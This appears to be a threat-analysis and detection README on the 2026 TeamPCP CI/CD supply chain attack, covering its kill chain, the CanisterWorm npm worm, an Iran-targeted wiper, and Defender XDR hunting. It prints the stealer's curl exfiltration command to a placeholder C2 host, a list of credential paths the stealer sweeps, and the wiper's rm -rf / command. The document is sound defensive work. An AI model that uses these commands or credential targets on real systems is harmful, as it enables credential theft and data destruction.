TeamPCP Supply Chain Attack: Technical Analysis & Detection Guide

CVE-2026-33634 (CVSS 9.4) — The most impactful CI/CD supply chain attack of 2026 so far.

Between March 19–25, 2026, threat actor TeamPCP (also tracked as DeadCatx3, PCPcat, ShellForce, CanisterWorm) executed a cascading supply chain compromise across five ecosystems: GitHub Actions, Docker Hub, OpenVSX, npm, and PyPI. Starting from a single incompletely-rotated GitHub PAT, the campaign spread across two major open-source security vendors (Aqua Security and Checkmarx), four GitHub Actions repositories, two VS Code extensions, container registries, and 66+ npm packages.

This repository provides a full technical breakdown, curated IOC lists (FP-tested), and detection queries ready to deploy in Microsoft Defender XDR.

Table of Contents

• Attack Timeline
• Kill Chain Breakdown
• Compromised Artifacts
• Credential Stealer Mechanics
• CanisterWorm — npm Propagation
• Iran-Targeted Wiper Component
• Detection & Hunting
• IOC List
• FP Filtering Notes
• MITRE ATT&CK Mapping
• References

Attack Timeline

Kill Chain Breakdown

Phase 1 — Initial Access

Root cause: incomplete credential rotation after the February 28 breach. The aqua-bot service account PAT was either not revoked or the attacker observed the new token during rotation.

TeamPCP used this retained access to force-push version tags to malicious imposter commits. Each forged commit cloned the original's metadata (author, timestamp, message) while replacing the entry point script with the stealer payload. GitHub's release page showed no visible change — even the "Immutable" badge displayed normally.

Phase 2 — Payload Execution

The stealer — a 204-line entrypoint.sh self-identified as "TeamPCP Cloud stealer" — runs a three-stage attack:

Stage 1: Memory Scraping

Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Stage 2: Filesystem Credential Sweep

Scans 50+ sensitive paths including:

• SSH keys (~/.ssh/*)
• AWS/GCP/Azure credentials
• Kubernetes tokens and configs
• Docker registry credentials
• Terraform state files
• Crypto wallets (Solana, Bitcoin, Ethereum, Cardano)
• npm tokens (~/.npmrc)
• Shell histories
• .env files

Stage 3: Encrypted Exfiltration

• Bundles all harvested data into tpcp.tar.gz
• Encrypts with AES-256-CBC (random session key) + RSA-4096/RSA-OAEP (attacker's public key)
• Exfiltrates via curl POST to vendor-specific typosquat domains
• Fallback: creates tpcp-docs or docs-tpcp repo in victim's GitHub account using stolen GITHUB_TOKEN

Phase 3 — Persistence

On non-CI Linux systems, the malware:

1. Creates hidden directory ~/.config/sysmon/
2. Drops a Python backdoor (sysmon.py)
3. Installs a systemd user service that polls C2 every 50 minutes
4. Kill switch: if C2 response contains "youtube", backdoor skips execution

Phase 4 — Lateral Movement (Checkmarx Wave)

Stolen credentials from the Trivy wave enabled compromise of Checkmarx's ecosystem. Each new wave used a different typosquat C2 domain to evade blocklists from the previous wave:

Compromised Artifacts

GitHub Actions

OpenVSX Extensions (VS Code Marketplace NOT affected)

Both extensions were published 12 seconds apart at 12:53 UTC on March 23 via the ast-phoenix account. On activation, environmentAuthChecker.js checks for cloud provider credentials, then pulls a second-stage stealer from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Container Images

PyPI

Triple-nested base64 payload with K8s lateral movement toolkit. Persistence via sysmon.service polling checkmarx.zone/raw.

Credential Stealer Mechanics

The exfiltration pattern is identical across all waves:

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

The typosquat domain strategy is deliberate: an analyst reviewing CI/CD logs sees curl traffic to what looks like the action's own vendor domain. Without careful comparison, scan.aquasecurtiy.org passes for aquasecurity.org in a fast log review.

Only the attacker can decrypt stolen data — the AES session key is RSA-OAEP encrypted with their public key.

CanisterWorm — npm Propagation

Within 24 hours of the Trivy compromise, stolen npm tokens enabled a self-propagating worm across 66+ packages (141 malicious artifacts).

What makes CanisterWorm notable:

• First documented npm malware using an ICP (Internet Computer Protocol) blockchain canister as C2
• The canister at tdtqy-oyaaa-aaaae-af2dq-cai is a decentralized smart contract — no single takedown point
• Exposes 3 methods: get_latest_link, http_request, update_link
• Attacker can rotate payloads on all infected machines without republishing any npm package
• Kill switch: if canister returns a URL containing youtube.com, backdoor sleeps
• Persistence: systemd user service masquerading as pgmon (PostgreSQL monitoring)
• Polling interval: every 50 minutes
• Binary dropped to /tmp/pglog, state tracked in /tmp/.pg_state

Known compromised scopes: @emilgroup/*, @teale.io/* (self-propagating variant in @teale.io/eslint-config v1.8.11, v1.8.12)

Iran-Targeted Wiper Component

A destructive variant targets Iranian systems specifically:

1. Kubernetes + Iran: deploys privileged DaemonSets across every node (including control plane), wipes and force-reboots via container named kamikaze
2. Kubernetes + non-Iran: installs CanisterWorm backdoor as systemd service
3. Non-K8s + Iran: executes rm -rf / --no-preserve-root with sudo
4. Non-K8s + non-Iran: no action

Detection is via system timezone and locale checks.

Detection & Hunting

Microsoft Defender XDR — Custom Detection Rule

Rule name: TeamPCP Supply Chain C2 and Malware IOC Match
Severity: High
Category: CommandAndControl
Frequency: Every 1 hour

See detection/defender_xdr_query.kql for the full KQL query.

The query covers:

• 7 SHA256 file hashes (stealer + CanisterWorm variants)
• 2 C2 IP addresses
• 4 C2 domains (typosquats + ICP canister)
• 4 specific C2 URLs
• DNS resolution checks

Defender TI Indicators Import

A ready-to-import CSV is provided at iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. This file has been FP-tested against a production enterprise environment.

Other Platforms

IOC List

File Hashes (SHA256)

Network IOCs

C2 URL Paths

Persistence Artifacts

GitHub Exfiltration Repos (Fallback)

FP Filtering Notes

The detection queries and IOC CSV in this repo have been tested against a production environment running:

• Ansible AWX/Tower with community.general and kubernetes.core collections
• Claude Code and GitHub Copilot on macOS developer workstations
• FortiMonitor agent (IMDS polling)
• Oracle AHF on OCI instances (IMDS polling)
• Various Python/Node.js development toolchains

The following IOCs were removed due to confirmed false positives:

MITRE ATT&CK Mapping

References

License

MIT — Use, share, adapt freely. Attribution appreciated.

Author: Ugur Can Ates — SOC Team Lead & Senior Security Engineer
Last Updated: March 25, 2026